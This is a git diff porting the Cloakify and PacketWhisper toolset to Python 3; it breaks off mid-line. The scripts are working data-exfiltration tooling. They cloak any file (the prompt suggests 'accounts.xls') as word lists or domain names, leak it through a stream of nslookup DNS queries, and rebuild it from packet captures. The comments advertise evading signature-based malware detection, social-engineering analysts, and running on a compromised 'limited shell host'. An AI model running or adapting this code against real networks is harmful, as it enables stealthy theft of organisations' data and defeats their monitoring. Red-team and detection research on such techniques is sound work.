diff --git a/cloakify.py b/cloakify.py index c979b16..d96e6dd 100644 --- a/cloakify.py +++ b/cloakify.py @@ -1,29 +1,29 @@ #!/usr/bin/python -# -# Filename: cloakify.py +# +# Filename: cloakify.py # # Version: 1.1.0 # # Author: Joe Gervais (TryCatchHCF) # # Summary: Exfiltration toolset (see decloakify.py) that transforms any filetype (binaries, -# archives, images, etc.) into lists of words / phrases / Unicode to ease exfiltration of -# data across monitored networks, hiding the data in plain sight. Also facilitates social -# engineering attacks against human analysts and their workflows. Bonus Feature: Defeats +# archives, images, etc.) into lists of words / phrases / Unicode to ease exfiltration of +# data across monitored networks, hiding the data in plain sight. Also facilitates social +# engineering attacks against human analysts and their workflows. Bonus Feature: Defeats # signature-based malware detection tools (cloak your other tools during an engagement). # # Used by cloakifyFactory.py, can be used as a standalone script as well (example below). # -# Description: Base64-encodes the given payload and translates the output using a list -# of words/phrases/Unicode provided in the cipher. This is NOT a secure encryption tool, +# Description: Base64-encodes the given payload and translates the output using a list +# of words/phrases/Unicode provided in the cipher. This is NOT a secure encryption tool, # the output is vulnerable to frequency analysis attacks. Use the Noise Generator scripts # to add entropy to your cloaked file. You should encrypt the file before cloaking if # secrecy is needed. # -# Prepackaged ciphers include: lists of desserts in English, Arabic, Thai, Russian, -# Hindi, Chinese, Persian, and Muppet (Swedish Chef); PokemonGo creatures; Top 100 IP -# Addresses; Top Websites; GeoCoords of World Capitols; MD5 Password Hashes; An Emoji -# cipher; Star Trek characters; Geocaching Locations; Amphibians (Scientific Names); +# Prepackaged ciphers include: lists of desserts in English, Arabic, Thai, Russian, +# Hindi, Chinese, Persian, and Muppet (Swedish Chef); PokemonGo creatures; Top 100 IP +# Addresses; Top Websites; GeoCoords of World Capitols; MD5 Password Hashes; An Emoji +# cipher; Star Trek characters; Geocaching Locations; Amphibians (Scientific Names); # evadeAV cipher (simple cipher that minimizes size of the resulting obfuscated data). # # To create your own cipher: @@ -32,13 +32,13 @@ # - Remove all duplicate entries and blank lines # - Randomize the list (see 'randomizeCipherExample.txt' in Cloakify directory) # - Provide the file as the cipher argument to the script. -# - ProTip: Place your cipher in the "ciphers/" directory and cloakifyFactory +# - ProTip: Place your cipher in the "ciphers/" directory and cloakifyFactory # will pick it up automatically as a new cipher -# -# Example: +# +# Example: # # $ ./cloakify.py payload.txt ciphers/desserts > exfiltrate.txt -# +# import os, sys, getopt, base64 @@ -50,9 +50,9 @@ def Cloakify( arg1, arg2, arg3 ): payloadFile = open( arg1, 'rb' ) except: - print "" - print "!!! Error opening file", arg1 - print "" + print("") + print("!!! Error opening file", arg1) + print("") return payloadRaw = payloadFile.read() @@ -62,10 +62,10 @@ def Cloakify( arg1, arg2, arg3 ): with open( arg2 ) as file: cipherArray = file.readlines() except: - print "" - print "!!! Oh noes! Problem reading cipher '", arg2, "'" - print "!!! Verify the location of the cipher file" - print "" + print("") + print("!!! Oh noes! Problem reading cipher '", arg2, "'") + print("!!! Verify the location of the cipher file" ) + print("") return if ( arg3 != "" ): @@ -75,19 +75,19 @@ def Cloakify( arg1, arg2, arg3 ): if char != '\n': outFile.write( cipherArray[ array64.index(char) ] ) except: - print "" - print "!!! Oh noes! Problem opening or writing to file '", arg3, "'" - print "" + print("") + print("!!! Oh noes! Problem opening or writing to file '", arg3, "'") + print("") return else: for char in payloadB64: if char != '\n': - print cipherArray[ array64.index(char) ], + print(cipherArray[ array64.index(char) ],) if __name__ == "__main__": if ( len(sys.argv) != 3 ): - print "usage: cloakify.py " + print("usage: cloakify.py ") exit else: diff --git a/decloakify.py b/decloakify.py index 8cb895d..6df58cd 100644 --- a/decloakify.py +++ b/decloakify.py @@ -4,27 +4,27 @@ # # Author: Joe Gervais (TryCatchHCF) # -# Summary: Exfiltration toolset (see cloakify.py) that transforms data into lists -# of words / phrases / Unicode to ease exfiltration of data across monitored networks, -# essentially hiding the data in plain sight, and facilitate social engineering attacks -# against human analysts and their workflows. Bonus Feature: Defeats signature-based +# Summary: Exfiltration toolset (see cloakify.py) that transforms data into lists +# of words / phrases / Unicode to ease exfiltration of data across monitored networks, +# essentially hiding the data in plain sight, and facilitate social engineering attacks +# against human analysts and their workflows. Bonus Feature: Defeats signature-based # malware detection tools (cloak your other tools). # # Used by cloakifyFactory.py, can be used as a standalone script as well (example below). # -# Description: Decodes the output of cloakify.py into its underlying Base64 format, -# then does Base64 decoding to unpack the cloaked payload file. Requires the use of the +# Description: Decodes the output of cloakify.py into its underlying Base64 format, +# then does Base64 decoding to unpack the cloaked payload file. Requires the use of the # same cipher that was used to cloak the file prior to exfitration, of course. # -# Prepackaged ciphers include: lists of desserts in English, Arabic, Thai, Russian, -# Hindi, Chinese, Persian, and Muppet (Swedish Chef); Top 100 IP Addresses; GeoCoords of -# World Capitols; MD5 Password Hashes; An Emoji cipher; Star Trek characters; Geocaching -# Locations; Amphibians (Scientific Names); and evadeAV cipher, a simple cipher that +# Prepackaged ciphers include: lists of desserts in English, Arabic, Thai, Russian, +# Hindi, Chinese, Persian, and Muppet (Swedish Chef); Top 100 IP Addresses; GeoCoords of +# World Capitols; MD5 Password Hashes; An Emoji cipher; Star Trek characters; Geocaching +# Locations; Amphibians (Scientific Names); and evadeAV cipher, a simple cipher that # minimizes the size of the resulting obfuscated data. -# -# Example: # -# $ ./decloakify.py cloakedPayload.txt ciphers/desserts.ciph +# Example: +# +# $ ./decloakify.py cloakedPayload.txt ciphers/desserts.ciph import sys, getopt, base64 @@ -34,10 +34,10 @@ def Decloakify( arg1, arg2, arg3 ): with open( arg1 ) as file: - listExfiltrated = file.readlines() + listExfiltrated = file.readlines() with open( arg2) as file: - arrayCipher = file.readlines() + arrayCipher = file.readlines() clear64 = "" @@ -49,13 +49,13 @@ def Decloakify( arg1, arg2, arg3 ): outFile.write( base64.b64decode( clear64 )) else: - print base64.b64decode( clear64 ), + print(base64.b64decode( clear64 ),) if __name__ == "__main__": - if (len(sys.argv) != 3): - print "usage: decloakify.py " - exit + if (len(sys.argv) != 3): + print("usage: decloakify.py ") + exit else: - Decloakify( sys.argv[1], sys.argv[2], "" ) + Decloakify( sys.argv[1], sys.argv[2], "" ) diff --git a/packetWhisper.py b/packetWhisper.py index b389212..b7db49a 100644 --- a/packetWhisper.py +++ b/packetWhisper.py @@ -1,6 +1,6 @@ #!/usr/bin/python -# -# Filename: packetWhisper.py +# +# Filename: packetWhisper.py # # Version: 1.0.0 # @@ -18,7 +18,7 @@ # attacker-controlled destination is ever required) and stealthy exfiltration # when all other services are unavailable. # -# Description: +# Description: # # Leverages Cloakify (https://github.com/TryCatchHCF/Cloakify) to turn any # file type in a list of Fully Qualified Domain Names (FQDNs), selected from @@ -27,18 +27,18 @@ # packetWhisper then generates seqential DNS queries for each FQDN, which # propagates the DNS query along the DNS resolution path. # -# To capture the data, you just need visibility of the network traffic along -# the DNS resolution path, which can of course include a simple connected -# system capturing in promiscuous mode, or access to network appliances along +# To capture the data, you just need visibility of the network traffic along +# the DNS resolution path, which can of course include a simple connected +# system capturing in promiscuous mode, or access to network appliances along # the route, including external to the network / organization of origination. # # The captured pcap file is then loaded into packetWhisper, which parses # the pcap using the matching cipher used to encode during transmission. -# The ciphered data is extracted from the pcap and then Decloakified to +# The ciphered data is extracted from the pcap and then Decloakified to # restore the file to its original form. # # ===== NOTE: VPNs Will Prevent Access To DNS Queries ===== -# +# # If the transmitting system is using a VPN, then none of the DNS queries # will be available unless your point of capture is upstream from the VPN # exit node. That's obvious, but it also means if you're testing on your @@ -48,14 +48,14 @@ # ===== NOTE: NOT A HIGH-BANDWIDTH TRANSFER METHOD ===== # # If you have other datapaths available (HTTP outbound, etc.) then just use -# the Cloakify project (GitHub project URL above) and its standard ciphers, +# the Cloakify project (GitHub project URL above) and its standard ciphers, # transfer normally. # -# Example: +# Example: +# +# $ python packetWhisper.py # -# $ python packetWhisper.py -# import os, subprocess, sys, getopt, socket, re, random, datetime, time, cloakify, decloakify @@ -77,9 +77,9 @@ gCommonFQDNCipherFiles.sort() # Kludge Alert: ("Really, TryCatchHCF? We're not even in the first function yet!" -# Yeah, I know. So, back to the kludge - various files are co-resident in the +# Yeah, I know. So, back to the kludge - various files are co-resident in the # subdomain_randomizer_scripts/ directory, and we just read them all in. The actual -# cipher files lack a "." anywhere in their filename, so if we don't add filenames +# cipher files lack a "." anywhere in their filename, so if we don't add filenames # that contain ".", we'll have a list of only ciphers for the user to pick from. gRandomSubdomainFQDNCipherFiles = [] @@ -104,49 +104,49 @@ #======================================================================== # # CloakAndTransferFile() -# -# High-level coordination function for encoding and transferring the +# +# High-level coordination function for encoding and transferring the # selected file. -# +# #======================================================================== def CloakAndTransferFile(): # Reset this each time we pass through - global gCommonFQDNCipherSelected + global gCommonFQDNCipherSelected gCommonFQDNCipherSelected = False # Perform payload selection, cipher selection, Cloakify the payload into FQDNs cloakedFile = SelectCipherAndCloakifyFile() - choice = raw_input( "Press return to continue... " ) - print "" + choice = input( "Press return to continue... " ) + print("") invalidSelection = True while ( invalidSelection ): - choice = raw_input( "Begin PacketWhisper transfer of cloaked file? (y/n): " ) + choice = input( "Begin PacketWhisper transfer of cloaked file? (y/n): " ) if choice == "y" or choice == "n": invalidSelection = False - + if choice == "y": queryDelay = 0.5 - print "" - print "Select time delay between DNS queries:" - print "" - print "1) Half-Second (Recommended, slow but reliable)" - print "2) 5 Seconds (Extremely slow but stealthy)" - print "3) No delay (Faster but loud, risks corrupting payload)" - print "" + print("") + print("Select time delay between DNS queries:") + print("") + print("1) Half-Second (Recommended, slow but reliable)") + print("2) 5 Seconds (Extremely slow but stealthy)") + print("3) No delay (Faster but loud, risks corrupting payload)") + print("") try: - delayChoice = int( raw_input( "Selection (default = 1): " )) + delayChoice = int( input( "Selection (default = 1): " )) if delayChoice == 2: queryDelay = 5.0 @@ -164,9 +164,9 @@ def CloakAndTransferFile(): if ( gCommonFQDNCipherSelected == True ): - print "" - print "Sending Knock Sequence - Begin" - print "" + print("") + print("Sending Knock Sequence - Begin") + print("") TransferCloakedFile( gKnockSequenceFilename, queryDelay ) TransferCloakedFile( cloakedFile, queryDelay ) @@ -176,13 +176,13 @@ def CloakAndTransferFile(): if ( gCommonFQDNCipherSelected == True ): - print "" - print "Sending Knock Sequence - End" - print "" + print("") + print("Sending Knock Sequence - End") + print("") TransferCloakedFile( gKnockSequenceFilename, queryDelay ) - choice = raw_input( "Press return to continue... " ) - print "" + choice = input( "Press return to continue... " ) + print("") return @@ -190,66 +190,66 @@ def CloakAndTransferFile(): #======================================================================== # # SelectCipherAndCloakifyFile() -# -# Walks user through the process of selecting payload file, which FQDN +# +# Walks user through the process of selecting payload file, which FQDN # cipher to use, and then Cloakifies the payload into a list of FQDNs. # #======================================================================== def SelectCipherAndCloakifyFile(): - print "" - print "==== Prep For DNS Transfer - Cloakify a File ====" - print "" + print("") + print("==== Prep For DNS Transfer - Cloakify a File ====") + print("") notDone = True while ( notDone ): - sourceFile = raw_input("Enter filename to cloak (e.g. payload.zip or accounts.xls): ") + sourceFile = input("Enter filename to cloak (e.g. payload.zip or accounts.xls): ") if ( sourceFile != "" ): notDone = False else: - print "" - print "!!! Filename required, try again." - print "" + print("") + print("!!! Filename required, try again.") + print("") - print "" + print("") - cloakedFile = raw_input("Save cloaked data to filename (default: 'tempFQDNList.txt'): ") + cloakedFile = input("Save cloaked data to filename (default: 'tempFQDNList.txt'): ") if cloakedFile == "": cloakedFile = "tempFQDNList.txt" - print "" - print "==== Prep For DNS Transfer - Select Cloakify cipher ====" - print "" + print("") + print("==== Prep For DNS Transfer - Select Cloakify cipher ====") + print("") cipherFilePath = SelectPacketWhisperMode( sourceFile, cloakedFile ) - print "" - choice = raw_input( "Preview a sample of cloaked file? (y/n): " ) + print("") + choice = input( "Preview a sample of cloaked file? (y/n): " ) if choice == "y": - print "" + print("") with open( cloakedFile ) as file: cloakedPreview = file.readlines() i = 0; while ( i < len( cloakedPreview )) and ( i<20 ): - print cloakedPreview[ i ], + print(cloakedPreview[ i ],) i = i+1 - print "" + print("") return( cloakedFile ) #======================================================================== -# +# # CloakifyPayload( sourceFile, cloakedFile, cipherFilePath ) -# +# # Helper method to invoke Cloakify() to transform the payload into the # list of FQDNs per selected FQDN cipher. # @@ -257,20 +257,20 @@ def SelectCipherAndCloakifyFile(): def CloakifyPayload( sourceFile, cloakedFile, cipherFilePath ): - print "" - print "Creating cloaked file using cipher:", cipherFilePath + print("") + print("Creating cloaked file using cipher:", cipherFilePath) try: cloakify.Cloakify( sourceFile, cipherFilePath, cloakedFile ) except: - print "" - print "!!! Well that didn't go well. Verify that your cipher is in the 'ciphers/' subdirectory." - print "" + print("") + print("!!! Well that didn't go well. Verify that your cipher is in the 'ciphers/' subdirectory.") + print("") - print "" - print "Cloaked file saved to:", cloakedFile - print "" + print("") + print("Cloaked file saved to:", cloakedFile) + print("") return @@ -278,7 +278,7 @@ def CloakifyPayload( sourceFile, cloakedFile, cipherFilePath ): #======================================================================== # # SelectPacketWhisperMode( sourceFile, cloakedFile ) -# +# # Walks user through the selection of the cipher to use for Cloakifying # the payload. # @@ -290,36 +290,36 @@ def SelectPacketWhisperMode( sourceFile, cloakedFile ): cipherFilePath = "" notDone = 1 - while ( notDone ): - - print "" - print "======= Select PacketWhisper Transfer Mode =======" - print "" - print "1) Random Subdomain FQDNs (Recommended - avoids DNS caching, overcomes NAT)" - print "2) Unique Repeating FQDNs (DNS may cache, but overcomes NAT)" - print "3) [DISABLED] Common Website FQDNs (DNS caching may block, NAT interferes)" - print "4) Help" - print "" - + while ( notDone ): + + print("") + print("======= Select PacketWhisper Transfer Mode =======") + print("") + print("1) Random Subdomain FQDNs (Recommended - avoids DNS caching, overcomes NAT)") + print("2) Unique Repeating FQDNs (DNS may cache, but overcomes NAT)") + print("3) [DISABLED] Common Website FQDNs (DNS caching may block, NAT interferes)") + print("4) Help") + print("") + invalidSelection = 1 - + while ( invalidSelection ): try: - choice = int( raw_input( "Selection: " )) - + choice = int( input( "Selection: " )) + if choice == 3: - print "" - print "Temporarily Disabled: Common Website FQDNs" - print "Pardon the inconvenience it will be updated soon." - print "" + print("") + print("Temporarily Disabled: Common Website FQDNs") + print("Pardon the inconvenience it will be updated soon.") + print("") elif ( choice > 0 and choice < 5 ): invalidSelection = 0 else: - print selectionErrorMsg - + print(selectionErrorMsg) + except ValueError: - print selectionErrorMsg - + print(selectionErrorMsg) + if choice == 1: cipherFilePath = SelectAndGenerateRandomFQDNs( sourceFile, cloakedFile ) notDone = 0 @@ -332,7 +332,7 @@ def SelectPacketWhisperMode( sourceFile, cloakedFile ): elif choice == 4: ModeHelp() else: - print selectionErrorMsg + print(selectionErrorMsg) return cipherFilePath @@ -347,63 +347,63 @@ def SelectPacketWhisperMode( sourceFile, cloakedFile ): def ModeHelp(): - print "" - print "" - print "========== Help: Select PacketWhisper Transfer Mode ==========" - print "" - print "==== Unique Random Subdomain FQDNs ====" - print "" - print "*** RECOMMENDED CIPHER MODE - FOR MOST USE CASES" - print "" - print "FQDNs with random subdomains help prevent DNS caching, while also able" - print "to transfer data beyond a NAT'd network device being, since the sending" - print "system's IP address isn't needed to identify the traffic." - print "" - print "These ciphers mimic the formats of various services that rely on" - print "complex subdomains as a means to identify a session, user, cached" - print "content etc." - print "" - print "The first part of the subdomain name is actually a string from the cipher" - print "list. The rest of the subdomain name is randomized to make each FQDN unique," - print "which prevents DNS caching from shutting down the DNS query path prematurely." - print "We then add the domain name. We construct the FQDNs this way to look like" - print "the usual FQDNs associated with the selected domain, to blend in better" - print "with normal webtraffic seen on any network." - print "" - print "Example: d1z2mqljlzjs58.cloudfront.net" - print "" - print "" - print "==== Unique Repeating FQDNs ====" - print "" - print "Created to stand out from all other DNS queries on the network, but" - print "without any randomization involved. This means that DNS caching may" - print "interfere, but as a side benefit you're DNS queries will be easy for" - print "you to find in even the largest collection of multi-client pcaps." - print "This is due to the fact that the FQDNs are odd endpoints, like the" - print "list of Johns (Red Lectroid aliens) at the fictional Yoyodyne Propulsion" - print "Systems from the movie 'Buckaroo Banzai Across the 8th Dimension'." - print "" - print "Example: John.Whorfin.yoyodyne.com" - print "" - print "" - print "==== Common Website FQDNs ====" - print "" - print "FQDNs constructed out of the most common Website URLs." - print "" - print "NOTE: Since most environments are NAT'd at the perimeter (removing " - print "visibility of client's IP address), this mode is generally only useful" - print "for transferring data between systems connected to the same /24 local " - print "network (for example, the guest wifi at your favorite coffee shop" - print "" - print "Since Common Website ciphers only have the source IP address as a way" - print "to identify its queries from all the others on the network, I set " - print "gCommonFQDNCipherSelected to True so that the code will transmit the" - print "knock sequence at beginning and end of payload, helps us pick out the" - print "transmitting host from the pcap later." - print "" - print "Example: www.github.com" - print "" - print "" + print("") + print("") + print("========== Help: Select PacketWhisper Transfer Mode ==========") + print("") + print("==== Unique Random Subdomain FQDNs ====") + print("") + print("*** RECOMMENDED CIPHER MODE - FOR MOST USE CASES") + print("") + print("FQDNs with random subdomains help prevent DNS caching, while also able") + print("to transfer data beyond a NAT'd network device being, since the sending") + print("system's IP address isn't needed to identify the traffic.") + print("") + print("These ciphers mimic the formats of various services that rely on") + print("complex subdomains as a means to identify a session, user, cached") + print("content etc.") + print("") + print("The first part of the subdomain name is actually a string from the cipher") + print("list. The rest of the subdomain name is randomized to make each FQDN unique,") + print("which prevents DNS caching from shutting down the DNS query path prematurely.") + print("We then add the domain name. We construct the FQDNs this way to look like") + print("the usual FQDNs associated with the selected domain, to blend in better") + print("with normal webtraffic seen on any network.") + print("") + print("Example: d1z2mqljlzjs58.cloudfront.net") + print("") + print("") + print("==== Unique Repeating FQDNs ====") + print("") + print("Created to stand out from all other DNS queries on the network, but") + print("without any randomization involved. This means that DNS caching may") + print("interfere, but as a side benefit you're DNS queries will be easy for") + print("you to find in even the largest collection of multi-client pcaps.") + print("This is due to the fact that the FQDNs are odd endpoints, like the") + print("list of Johns (Red Lectroid aliens) at the fictional Yoyodyne Propulsion") + print("Systems from the movie 'Buckaroo Banzai Across the 8th Dimension'.") + print("") + print("Example: John.Whorfin.yoyodyne.com") + print("") + print("") + print("==== Common Website FQDNs ====") + print("") + print("FQDNs constructed out of the most common Website URLs.") + print("") + print("NOTE: Since most environments are NAT'd at the perimeter (removing ") + print("visibility of client's IP address), this mode is generally only useful") + print("for transferring data between systems connected to the same /24 local ") + print("network (for example, the guest wifi at your favorite coffee shop") + print("") + print("Since Common Website ciphers only have the source IP address as a way") + print("to identify its queries from all the others on the network, I set ") + print("gCommonFQDNCipherSelected to True so that the code will transmit the") + print("knock sequence at beginning and end of payload, helps us pick out the") + print("transmitting host from the pcap later.") + print("") + print("Example: www.github.com") + print("") + print("") return @@ -423,7 +423,7 @@ def SelectAndGenerateRandomFQDNs( sourceFile, cloakedFile ): cipherNum = SelectCipher( gRandomSubdomainFQDNCipherFiles ) - cipherFilePath = gFilepathRandomizedSubdomainFQDN + gRandomSubdomainFQDNCipherFiles[ cipherNum ] + cipherFilePath = gFilepathRandomizedSubdomainFQDN + gRandomSubdomainFQDNCipherFiles[ cipherNum ] CloakifyPayload( sourceFile, cloakedFile, cipherFilePath ) @@ -437,20 +437,20 @@ def SelectAndGenerateRandomFQDNs( sourceFile, cloakedFile ): ### ### However it's a really convenient way to correlate the cipher with its matching ### script. And now I must accept the fact that there's a brittle connection between - ### the cipher's filename and the matching script filename. + ### the cipher's filename and the matching script filename. scriptFilename = gRandomSubdomainFQDNCipherFiles[ cipherNum ] + ".py" - print "Adding subdomain randomization to cloaked file using :" + scriptFilename + print("Adding subdomain randomization to cloaked file using :" + scriptFilename) try: os.system( "python ciphers/subdomain_randomizer_scripts/%s %s" % ( scriptFilename, cloakedFile )) except: - print "" - print "!!! Well that didn't go well. Verify that '", cloakedFile, "'" - print "!!! is in the current working directory or try again giving full filepath." - print "" + print("") + print("!!! Well that didn't go well. Verify that '", cloakedFile, "'") + print("!!! is in the current working directory or try again giving full filepath.") + print("") return( cipherFilePath ) @@ -459,7 +459,7 @@ def SelectAndGenerateRandomFQDNs( sourceFile, cloakedFile ): # # SelectAndGenerateUniqueRepeatingFQDNs( sourceFile, cloakedFile ) # -# After calling Cloakify with selected cipher, add a random formal title +# After calling Cloakify with selected cipher, add a random formal title # to thefront of each FQDN. Example "John.Smallberries.yoyodyne.com" # becomes "Dr.John.Smallberries.yoyodyne.com" # @@ -476,7 +476,7 @@ def SelectAndGenerateUniqueRepeatingFQDNs( sourceFile, cloakedFile ): cipherNum = SelectCipher( gRepeatedSubdomainFQDNCipherFiles ) - cipherFilePath = gFilepathRepeatedUniqueFQDN + gRepeatedSubdomainFQDNCipherFiles[ cipherNum ] + cipherFilePath = gFilepathRepeatedUniqueFQDN + gRepeatedSubdomainFQDNCipherFiles[ cipherNum ] CloakifyPayload( sourceFile, cloakedFile, cipherFilePath ) @@ -488,25 +488,25 @@ def SelectAndGenerateUniqueRepeatingFQDNs( sourceFile, cloakedFile ): # DEBUG # Print "%%%", cloakedFile - with open( cloakedFile, "r" ) as file: + with open( cloakedFile, "r" ) as file: - cloakedPayload = file.read().splitlines() + cloakedPayload = file.read().splitlines() - with open( cloakedFile, "w" ) as file: + with open( cloakedFile, "w" ) as file: - for line in cloakedPayload: + for line in cloakedPayload: # Only need to be sure it's not the same as the one # used before it, so we can identify and ignore duplicate # DNS requests when recovering the payload later. - newTitle = titleArray[ random.randint(0,6) ] + newTitle = titleArray[ random.randint(0,6) ] while newTitle == lastTitle: - newTitle = titleArray[ random.randint(0,6) ] + newTitle = titleArray[ random.randint(0,6) ] # Add the title to the cihper string and all is well - file.write( newTitle + "." + line + "\n" ) + file.write( newTitle + "." + line + "\n" ) lastTitle = newTitle @@ -518,25 +518,25 @@ def SelectAndGenerateUniqueRepeatingFQDNs( sourceFile, cloakedFile ): # SelectAndGenerateCommonWebsiteFQDNs( sourceFile, cloakedFile ) # # Since Common Website ciphers only have the source IP address as a way -# to identify its queries from all the others on the network, I set +# to identify its queries from all the others on the network, I set # gCommonFQDNCipherSelected to True so that the code will transmit the # knock sequence at beginning and end of payload, helps us pick out the # transmitting host from the pcap later. # -# Note: Since most environments are NAT'd at the perimeter (removing -# client's IP information), this mode is generally only useful for -# transferring data between systems connected to the same /24 local +# Note: Since most environments are NAT'd at the perimeter (removing +# client's IP information), this mode is generally only useful for +# transferring data between systems connected to the same /24 local # subnetwork. # #======================================================================== def SelectAndGenerateCommonWebsiteFQDNs( sourceFile, cloakedFile ): - + global gCommonFQDNCipherSelected cipherNum = SelectCipher( gCommonFQDNCipherFiles ) - cipherFilePath = gFilepathCommonFQDN + gCommonFQDNCipherFiles[ cipherNum ] + cipherFilePath = gFilepathCommonFQDN + gCommonFQDNCipherFiles[ cipherNum ] CloakifyPayload( sourceFile, cloakedFile, cipherFilePath ) @@ -559,21 +559,21 @@ def SelectAndGenerateCommonWebsiteFQDNs( sourceFile, cloakedFile ): def TransferCloakedFile( cloakedFile, queryDelay ): - print "" - print "Broadcasting file..." - print "" + print("") + print("Broadcasting file...") + print("") mDateTimeUTC = datetime.datetime.utcnow() - print "### Starting Time (UTC): " + mDateTimeUTC.strftime( "%x %X" ) - print "" + print("### Starting Time (UTC): " + mDateTimeUTC.strftime( "%x %X" )) + print("") status = GenerateDNSQueries( cloakedFile, queryDelay ) mDateTimeUTC = datetime.datetime.utcnow() - print "" - print "### Ending Time (UTC): " + mDateTimeUTC.strftime( "%x %X" ) - print "" + print("") + print("### Ending Time (UTC): " + mDateTimeUTC.strftime( "%x %X" )) + print("") return @@ -583,14 +583,14 @@ def TransferCloakedFile( cloakedFile, queryDelay ): # # GenerateDNSQueries( cloakedFile, queryDelay ) # -# Leverages nslookup on host OS. Seems lazy, and is, but also lets us +# Leverages nslookup on host OS. Seems lazy, and is, but also lets us # leverage nslookup's implementation which has consistent behavior across # operating systems (timeouts, avoiding unwanted retries, caching, etc.) # # "But why not just use 'dnspython'?" Because it's one more thing to have -# to import, brings a lot of baggage with it, and that's not how I like -# my operational tools to be structured. The way PacketWhisper is -# structured, I can get it running on a limited shell host just by +# to import, brings a lot of baggage with it, and that's not how I like +# my operational tools to be structured. The way PacketWhisper is +# structured, I can get it running on a limited shell host just by # tar'ing up the project and extracting on the target host. # # Adds a half-second delay between DNS queries to help address UDP out-of-order @@ -605,24 +605,24 @@ def GenerateDNSQueries( cloakedFile, queryDelay ): with open( cloakedFile, 'r' ) as fqdnFile: - print "Progress (bytes transmitted - patience is a virtue): " + print("Progress (bytes transmitted - patience is a virtue): ") - for fqdn in fqdnFile: + for fqdn in fqdnFile: fqdnStr = fqdn.strip() - + # We don't care if the lookup fails, so carry on try: ret = subprocess.check_output( ['nslookup', fqdnStr] ) - time.sleep( queryDelay ) + time.sleep( queryDelay ) except: - time.sleep( queryDelay ) - + time.sleep( queryDelay ) + checkpoint = byteCount % 25 if byteCount > 0 and checkpoint == 0: - print str( byteCount ) + "..." + print(str( byteCount ) + "...") byteCount = byteCount + 1 @@ -635,7 +635,7 @@ def GenerateDNSQueries( cloakedFile, queryDelay ): # # Creates a textfile with all of the DNS queries (UDP Port 53). Makes a # system call to either tcpdump or windump, depending on the OS selected -# by the user. +# by the user. # #======================================================================== @@ -656,7 +656,7 @@ def ExtractDNSQueriesFromPCAP( pcapFile, osStr ): os.system( commandStr ) else: - print "!!! Error: Unknown OS received by ExtractDNSQueriesFromPCAP(), this shouldn't have happened. Oops." + print("!!! Error: Unknown OS received by ExtractDNSQueriesFromPCAP(), this shouldn't have happened. Oops.") return dnsQueriesFilename @@ -667,11 +667,11 @@ def ExtractDNSQueriesFromPCAP( pcapFile, osStr ): # # ExtractPayloadFromDNSQueries( dnsQueriesFilename, cipherFilename, cipherTag, isRandomized ) # -# The fun stuff. Identify the PacketWhisper FQDN ciphers in the +# The fun stuff. Identify the PacketWhisper FQDN ciphers in the # collection of DNS queries, and reconstruct the Cloakified payload file # with the matches. # -# cipherTag is the unique element association with some ciphers. For +# cipherTag is the unique element association with some ciphers. For # Random Subdomain FQDN ciphers it's the domain name. For Common FQDNs # it's the source IP address associated with the knock sequence. It # provides additional context when extracting cipher strings from a @@ -687,35 +687,35 @@ def ExtractPayloadFromDNSQueries( dnsQueriesFilename, cipherFilename, cipherTag, with open( dnsQueriesFilename ) as queriesFile: queries = queriesFile.readlines() except: - print "" - print "!!! Oh noes! Problem reading DNS queries from '", dnsQueriesFilename, "'" - print "!!! Verify the location of the file" - print "" + print("") + print("!!! Oh noes! Problem reading DNS queries from '", dnsQueriesFilename, "'") + print("!!! Verify the location of the file") + print("") return try: with open( cipherFilename ) as cipherFile: cipherStrings = cipherFile.readlines() except: - print "" - print "!!! Oh noes! Problem reading '", cipherFilename, "'" - print "!!! Verify the location of the cipher file" - print "" + print("") + print("!!! Oh noes! Problem reading '", cipherFilename, "'") + print("!!! Verify the location of the cipher file") + print("") return try: - cloakedFile = open( cloakedFilename, "w" ) + cloakedFile = open( cloakedFilename, "w" ) except: - print "" - print "!!! Oh noes! Problem reading '", cloakedFile, "'" - print "!!! Verify the location of the cipher file" - print "" + print("") + print("!!! Oh noes! Problem reading '", cloakedFile, "'") + print("!!! Verify the location of the cipher file") + print("") return # Activate "Elegance Mode" here - We don't have to extract the cipher - # string from the DNS query. Instead, we only need to know that a - # cipher string *appears* in the query. Then we can simply add the + # string from the DNS query. Instead, we only need to know that a + # cipher string *appears* in the query. Then we can simply add the # corresponding cipher string to the cloaked payload file, because # inference. \o/ @@ -738,7 +738,7 @@ def ExtractPayloadFromDNSQueries( dnsQueriesFilename, cipherFilename, cipherTag, if foundQuery1 or foundQuery2: - # Now match those hits to DNS queries that also contain the cipher + # Now match those hits to DNS queries that also contain the cipher # tag. This may seem redundant to the re.search() above, but since # the cipher tag may appear before or after that "A?" element, we # use a different regex base string ("IP ") that will always appear @@ -748,11 +748,11 @@ def ExtractPayloadFromDNSQueries( dnsQueriesFilename, cipherFilename, cipherTag, if found: - # Confirmed match, minimized the risk of "bad luck" false - # positives. Add the cipher element to the extracted cloaked + # Confirmed match, minimized the risk of "bad luck" false + # positives. Add the cipher element to the extracted cloaked # file that we'll later pass to Decloakify() - queryElements = dnsQuery.split() + queryElements = dnsQuery.split() fqdnElements = queryElements[ 7 ].split( '.' ) subdomain = fqdnElements[ 0 ] @@ -763,7 +763,7 @@ def ExtractPayloadFromDNSQueries( dnsQueriesFilename, cipherFilename, cipherTag, cloakedFile.write( cipherElement ) elif not isRandomized: - + cloakedFile.write( cipherElement ) previousSubdomain = subdomain @@ -801,23 +801,23 @@ def ExtractCapturedPayload(): osStr = "" - print "" - print "==== Extract & Decloakify a Cloaked File ====" - print "" - print "IMPORTANT: Be sure the file is actually in PCAP format." - print "If you used Wireshark to capture the packets, there's" - print "a chance it was saved in 'PCAP-like' format, which won't" - print "here. If you have problems, be sure that tcpdump/WinDump" - print "can read it manually: tcpdump -r myfile.pcap" - print "" - pcapFile = raw_input( "Enter PCAP filename: " ) - print "" - print "What OS are you currently running on?" - print "" - print "1) Linux/Unix/MacOS" - print "2) Windows" - print "" - osHost = raw_input( "Select OS [1 or 2]: " ) + print("") + print("==== Extract & Decloakify a Cloaked File ====") + print("") + print("IMPORTANT: Be sure the file is actually in PCAP format.") + print("If you used Wireshark to capture the packets, there's") + print("a chance it was saved in 'PCAP-like' format, which won't") + print("here. If you have problems, be sure that tcpdump/WinDump") + print("can read it manually: tcpdump -r myfile.pcap") + print("") + pcapFile = input( "Enter PCAP filename: " ) + print("") + print("What OS are you currently running on?") + print("") + print("1) Linux/Unix/MacOS") + print("2) Windows") + print("") + osHost = input( "Select OS [1 or 2]: " ) if osHost == "2": osStr = "Windows" @@ -828,8 +828,8 @@ def ExtractCapturedPayload(): cipherFilePath = SelectCipherForExtraction() - print "Extracting payload from PCAP using 